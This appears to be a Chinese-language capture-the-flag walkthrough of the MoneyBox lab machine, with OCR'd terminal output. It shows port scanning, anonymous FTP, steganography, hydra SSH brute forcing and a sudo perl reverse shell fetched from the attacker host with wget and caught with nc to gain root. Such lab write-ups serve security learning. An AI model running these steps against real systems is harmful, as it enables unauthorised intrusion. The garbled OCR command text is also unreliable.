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修改密码
[image: 1697208900788]
自动获取ip
[image: 1697209223892]
探查靶机
[image: 1697209277442]
全端口扫描
[image: 1697209421156]
利用kali自带的漏洞探测器进行探测
[image: 1697209586803]
先尝试通过21端口进行渗透，这里利用匿名登陆，查看文件夹后发现一张图片，将其下载至kali目录。
[image: 1697209706499]
很可惜，我们暂时无法从图片上直接提取到有用的信息。
[image: 1697209789072]
尝试切换至其他目录，可惜被限制无法跳转目录
[image: 1697209882282]
利用strings工具查看该图片中的可打印字符，这里可以看到很多个((((这是不正常现象，因此进行更深入的探测，但很可惜被加密了，暂时无法登入。
[image: 1697211794773]
接下来我们来尝试对22端口进行渗透，初步看其没什么东西，这里进行网站目录枚举
[image: 1697211904769]
这里也是成功枚举出了两个新目录
[image: 1697212010216]
在网页源代码中发现了一个隐藏目录
[image: 76fe0647af8010fd525530ac1d2e3da]
Ok啊，我们也是成功拿到了一个密钥，尝试使用密钥来滑稽猫的图片，发现有一个data.
txt的文件，利用steghide分离后，我们得知renu用户为弱密码
[image: 1697212232804]
这里也是直接进行kali自带字典爆破，先进行解压
[image: 1697212573150]
利用hydra进行爆破
[image: 1697212734225]
得到renu用户的密码为987654321，接下来利用ssh服务登入
[image: 1697212848999]
这里也是非常成功的拿下了第一台靶机。
[image: 1697213016980]
[image: 1697213038289]
[image: 1697213193557]
renu用户的命令历史记录存在SSH免密登录，这里可以看到不需要密码就可以以lily的身份登上靶机
[image: 1697213243038]
第二个账户也是成功拿下。
[image: 1697213400876]
Lily账户存在sudo赋权，程序为usr/bin/perl，这里要利用kali自带的perl脚本反弹shell，从而获得一个管理员shell
[image: 1697213655460]
反弹shellcopy到www/html目录下
[image: 1697213844892]
修改反弹ip，开启ssh。
[image: 1697214432120]
Lily通过http下载p.php,kali通过nc监听，靶机运行p.php，成功反弹权限获取管理员权限shell
[image: 1697214678690]
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P> c
250 Directory successfully changed.
ftp> cd /root

550 Failed to change directory.
ftp> cd /home

550 Failed to change directory.
ftp> Il
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E(kali@ kali)-[~]
$ strings trytofind.jpglmore
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ali NetHunter

Hai Everyone......!

Welcome To MoneyBox CTF

t's a very simple Box.so don't overthink
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[(kati®ati)-[~]
$ dirb http://192.168.68.131

DIRS v2.22
8y The Dark Raver

START_TIME: Fri Oct 13 11:44:53 2023
URL_BASE: http://192.168.68.131/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

— scanning URL: http://192.168.68.131/ ——
—> DIRECTORY: http://192.168.68.131/blogs/

+ http://192.168.68.131/index.html (CODE:200]SIZE:621)

+ http://192.168.68.131/server-status (CODE:403|SIZE:279)

— Entering directory: http://192.168.68.131/blogs/ ——
+ http://192.168.68.131/blogs/index.html (CODE:200]SIZE:353)

END_TIME: Fri Oct 13 11:44:58 2023
DOWNLOADED: 9224 - FOUND: 3

(kali® kali)-[~]
T
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O A 192168.68.131/t

KaliLinux # KaliTools < KaliDocs ! KaliForums o Kali NetHunter * Exploit-DB * Google

I'm TOm-H4ck3r

[ Already Hacked This Box and Informed.But They didn't Do any Security configurati
If You Want Hint For Next Step..
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O A 192168.68.131/53cr3t-T3x

KaliLinux # KaliTools « KaliDocs N{ Kali Forums o Kali NetHunter « Exploit-DB

There is Nothing In this Page...

fothing In
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I tell you something Important.Your Password is too Week So Change Your
Password
Don't Underestimate it.......




image15.png
[lati®kati)-[~)
4 sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
[sudo] password for kali:

[L(kali® kati)-[~]
5 cp fusr/share/wordlists/rockyou.txt .
(kali® kali)-[~]
Csve
Desktop Documents Downloads Music Pictures Public rockyou.txt Templates trytofind.jpg

(kali® kali)-[~]
b
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ATTEMPT] target 192.168.68.131 - login "renu” - pass "jonathan" - 81 of 14344401 [ch:
ATTEMPT] target 192.168.68.131 - login "renu” - pass "987654321" - 82 of 14344401 [
22][ssh] host: 192.168.68.131 login: renu password: 987654321

STATUS] attack finished for 192.168.68.131 (waiting for children to complete tests)
of 1 target successfully completed, 1 valid password found

WARNING] Writing restore file because 2 final worker threads did not complete until
ERROR] 2 targets did not resolve or could not be connected
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$ ssh renu@192.168.68.131

The authenticity of host '192.168.68.131 (192.168.68.131)' can't be established.
ED25519 key fingerprint is SHA256:4skFgbTuZiVgZGtWwASHRXgKXTAP7USBRYUSTEOnHw.
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.68.131' (ED25519) to the list of known hosts.
renu@192.168.68.131's password:

Linux MoneyBox .19.0-14-and64 #1 SMP Debian 4.19.171-2 (2021-01-30) xB6_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Fri Feb 26 08:53:43 2021 from 192.168.43.44
renuaMloneyBox:~$ 1s

Ftp userl.txt

renuaMloneyBox:~$ cat userl.txt

Yes .
You Got it Userl Flag

= us3r1{F14g:0ku74tbd3777y4}
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renuaMloneyBox:~$ sudo -1
[sudo] password for renu:

Sorry, user renu may not run sudo on MoneyBox.
renuaMoneyBox:~$ find / -perm -4000 2> /dev/null
/usr/bin/passud

/usr/bin/mount

/usr/bin/newgrp

/Jusr/bin/chfn

/usr/bin/chsh

/usr/bin/umount

Jusr/bin/su

/usr/bin/gpasswd

/usr/bin/sudo
/usr/1ib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dncrypt-get-device
/usr/Llib/openssh/ssh-keysign

renuaMoneyBox:~$ |
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1s -1
ssh -1 id_rsa 1ilya192.168.43.80
clear

ssh -1 id_rsa 1ilya192.168.43.80
cd

clear

cd .ssh/

1s

ssh -1 id_rsa 1ilya192.168.43.80
su lily,

clear

d

sudo apt install openssh

sudo apt update

sudo apt install openssh-server
sudo service ssh start

sudo service ssh status

clear

cd /etc/

1s

cd ssh

1s

nano ssh_config

1s

nano sshd_config

clear

cd

1s

1s -la

chsh bash

chsh

clear

su oot

clear

sudo apt install openssh

su root

exit

1s

cat user1.txt

sudo -1

find / -perm -4000 2> /dev/null
history

el em
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TR Itery
renuatloneyBox:~$ 1s /home

lily renu

renuatloneyBox:~$ 1s -a /home/Lily/

. .. .bash_history .bash logout .bashrc .local .profile .ssh user2.txt

renuaMoneyBox:~$ 1s -a /home/lily/.ssh/
... authorized keys
renuaMoneyBox:~$ 1s -a /home/lily/.ssh/authorized_keys

/home/1ily/.ssh/authorized_keys
renuaMloneyBox:~$ cat /home/lily/.ssh/authorized keys

ssh-rsa AAAAB3NZaClyc2EAAAADAGABAAABAQDRIE9TEEBTLOA+7n+od9tCIASYAWYOXBGCazyab2qsNs InBnSCBMCBNSK tugtosoHYIhze
vdF71Im82eT1VrsS8YCVQq43migWs6HX Ju+BNrVbc F+xq36bi21QaVBy+VGbiCPPNOITrtG449NANZC1OFDL2Y6N HA2ZShCCOHQiBYn
1hexXd71d1K6hhUOF £5yNX1vIVZG2VEbugt IXukMSLWK2FhnEADLACCHXY+1V+XEBIF3 renuadebian

———y |
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renuatloneyBox:~$ ssh 1ilya127.0.01

The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.

ECDSA key fingerprint is SHA256:8G2SoXjLv35yJ7cQFf1EEQrFBbOKLK/K1NAjZK/IXKST .
Are you sure you want to continue connecting (yes/no)? y

Please type 'yes' or 'no’: yes

Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Fri Feb 26 09:07:47 2021 from 192.168.43.80
ilyamoneyBox:~$ 1s

user2. txt

ilyamoneyBox:~$ cat user2.txt

veah. .
You Got a User2 Flag

— usar{Fleg:trs827rsuenklao)

ilyamoneyBox:~$ |
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LilyaMoneyBox:~$ 1s
user2. txt
LilyaMoneyBox:~$ 1s -a
.. .bash_history .bash_logout .bashrc .local .profile .ssh user2.txt
LilyaoneyBox:~$ sudo -1
Matching Defaults entries for lily on MoneyBox:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/

User 1ily may run the following commands on MoneyBox:
(ALL : ALL) NOPASSWD: /usr/bin/perl
LilyamoneyBox:~$ I
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— (ali®lali)-[~]
4 cd Jusr/share/webshells/perl

— (kali® kali)-[/use/share/uebshells/perl)
4 cp perl-reverse-shell.pl /var/wmi/html/p.php
: cannot create regular file '/var/wmi/html/p.php’:

— (k@i kali)- [/use/share/webshells/perl]
$ 1s /var/wmi/html
index.html  index.nginx-debian. html

—(kali® kali) [ /use/share/webshells/perl)
$ sudo cp perl-reverse-shell.pl /var/wmi/html/p.php
sudo] password for kali:

—(kai® kali)- [/use/share/webshells/perl]
$ s /var/wmi/html
index.html index.nginx-debian.html p.php

—(kali® kali)-[/usr/share/uebshells/perl)
A |
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1
31 [l katl) - [/use/share/webshells/perl]
I8 Ls sudo vin /var/w/htl/p. php
«a

(kali® kali)-[/usr/share/webshells/perl]
[
Del

systemctl start apache2

- Es[ ;ali@ kali)-[/usr/share/webshells/perl]
pre
op!
N

.
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File Actions Edit View Help

[sudo] password for lily:
sudo: 3 incorrect password attempts

-bash: p.php: command not found

ilyamoneyBox:~$ sudo /usr/bin/per p.php

[sudo] password for lily:

Sorry, try again.

[sudo] password for lily:

Sorry, try again.

[sudo] password for lily:

sudo: 3 incorrect password attempts

ilyamoneyBox:~$ sudo /usr/bin/per p.php

[sudo] password for lily:

Sorry, try again.

[sudo] password for lily:

sudo: 1 incorrect password attempt

ilyamoneyBox:~$ sudo /usr/bin/perl p.php

Can't open perl script "p.php”: No such file or directory
ilyamoneyBox:~$ sudo /usr/bin/perl p.php

Can't open perl script "p.php”: No such file or directory
ilyaMoneyBox:~$ wget http://192.168.68.130/p.php
—-2023-10-13 09:25:55-- http://192.168.68.130/p.php
Connecting to 192.168.68.130:80 ... connected.

HTTP request sent, awaiting response ... 200 0K
Length: 3717 (3.6K) [text/html]

saving to: ‘p.php’

p-php 100%[

2023-10-13 09:25:55 (129 MB/s) - ‘p.php’ saved [3717/3717]

ilyamoneyBox:~$ 1s
p.php user2.txt

ilyamoneyBox:~$ sudo /usr/bin/perl p.php
Content-Length: 0

Connection: close

Content-Type: text/html

ilyamoneyBox:~$ Content-Length: 45
Connection: close
Content-Type: text/html

Sent reverse shell to 192.168.68.130:1234<p>

0

O % A 01N

lily@MoneyBox: ~

File Actions Edit View Help

[ (ka1i® kali)-[/usr/share/webshells/perl]
$ nc -lnvp 1234

listening on [any] 1234 ...

“LIAC

[ (Kka1i® kali)-[/usr/share/webshells/perl]
4 sudo vin /var/we/html/p.php

E( kali® kali)-[/usr/share/webshells/perl]
$ nc -lnvp 1234

listening on [any] 1234 ...

connect to [192.168.68.130] from (UNKNOWN) [192.168.68.131] 50776
09:26:07 up 1:31, 3 users, load average: 0.00, 0.00, 0.00

USER  TTY FROM LOGING IDLE JCPU  PCPU WHAT
root  ttyl - 1554 5:15  0.00s 0.00s -bash

renu  pts/o  192.168.68.130 09:00  5.005 0.01s 0.01s ssh lilyal27.
0.01

lly  pts/1 127.0.0.1 09:06  5.005 0.005 0.00s -bash

Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 G
NU/Linux
uid=0(root) gi
/
/ust/sbin/apache: 0: can't access tty; job control turned off
# id

uid=0(root) gid=0(root) groups=0(root)

# 1s

bin

0(root) groups=0(root)

a ¢

£ ali@kal: fusrisharelwebshellsperl (<]
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e AtUons - Edit view felp

# cd /oot
t 1s
# 1s -a

.bash_history
.bashrc

Tocal

.profile
.root.txt

# cat .root.txt

Congratulations

You Successfully completed MoneyBox

Finally The Root Flag
= root{Hickth3p14n3t}

I'm Kirthik-KarvendhanT
It's My First CTF Box

instagram : Kirthik,
See You Back.

3 |
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[ 8.7869531 piix4_swbus BAAB:8A:87.3: SMBus Host Controller mot enabled
/dev/mapper/debian--vg-root : recovering journal

/dev/mapper/debian--vg-root : clean, 26802/438784 files, 278861/1728328 blocks
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job comtrol in this shell

root@(none):/# passwd

New password:

Retype new password:

passud: password updated successfully

rootatnone) /% _
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ehian GNU/Linux 10 MoneyBox ttyl

foneyBox login: root
‘assuord:

ast login: Fri Feb 26 07:54:37 PST 2021 on ttyl

inux MoneyBox 4.19.0-14-amded #1 SHP Debian 4.19.171-2 (2021-01-30) xB6_64

he programs included with the Debian GBNU/Linux sustem are free softuares
he exact distribution terms for each program are described in the
individual files in /usr/share/doc/x/copyright.

ebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
ermitted by applicable law.

-oot@HoneyBox: ¥ ping a

ing: a: Temporary failure in name resolution

-oot@HoneyBox:~# dhclient

ont@HoneyBox:~# dhclient

TNETLINK ansuers: File exists

0Dt eMoNeYBDX : “#
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et A
L sudo arp-scan -1

Interface: etho, type: EN1OMB, MAC: 00:0c:29:84:0e:44, IPv4: 192.168.68.130
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.con/royhills/arp-scan
)

192.168.68.2  00:50:56:f4:76:e5 (unknown)
192.168.68.131 00:0c:29:5a:f6:9f (unknown)
192.168.68.254 00:50:56:eb:e8:26 (unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.849 seconds (138.45 hosts/sec)
. 3 responded
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[L(kali® kati)-[~]

5 nmap -p- 192.168.68.131

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-13 1.
Nmap scan report for 192.168.68.131

Host is up (0.0027s latency).

Not shown: 65532 closed tcp ports (conn-refused)
PORT  STATE SERVICE

21/tcp open ftp

22/tcp open  ssh

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds
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L$ nmap -p21,20,80 -sV -sC 192.168.68.131

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-13 11:02 EDT
Nmap scan report for 192.168.68.131

Host is up (0.00026s latency).

PORT STATE SERVICE VERSION
20/tcp closed ftp-data

21/tcp open  ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r—-r— 10 ) 1093656 Feb 26 2021 trytofind.jpg
| ftp-syst:
STAT:

|
| FTP server status:
I Connected to ::ffff:192.168.68.130

| Logged in as ftp

I TYPE: ASCIT

| No session bandwidth limit

| Session timeout in seconds is 300

1 Control connection is plain text

| Data connections will be plain text

1 At session startup, client count was 1

1 VvsFTPd 3.0.3 - secure, fast, stable

|_End of status

80/tcp open  http Apache httpd 2.4.38 ((Debian))
|_http-title: MoneyBox

|_http-server-header: Apache/2.4.38 (Debian)

Service Info: 0S: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submi
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds
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§ ftp 192.168.68.131

Connected to 192.168.68.131.

220 (vsFTPd 3.0.3)

Name (192.168.68.131:kali): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> 1s

229 Entering Extended Passive Mode (|[[44028])

150 Here comes the directory listing.

-rw-r—r—- 10 0 1093656 Feb 26 2021 trytofind.jpg
226 Directory send OK.

ftp> get trytofind.jpg

local: trytofind.jpg remote: trytofind.jpg

229 Entering Extended Passive Mode (|[[23140])

150 Opening BINARY mode data connection for trytofind.jpg (1093656 bytes).
100% | kkksksokskikkkkiokkkikkkkkkkkikkkkkkkkrkkirik| 1068 KiB 9.11 MiB/s
226 Transfer complete.

1093656 bytes received in 00:00 (8.91 MiB/s)

ftp> Il

00:00 ETA




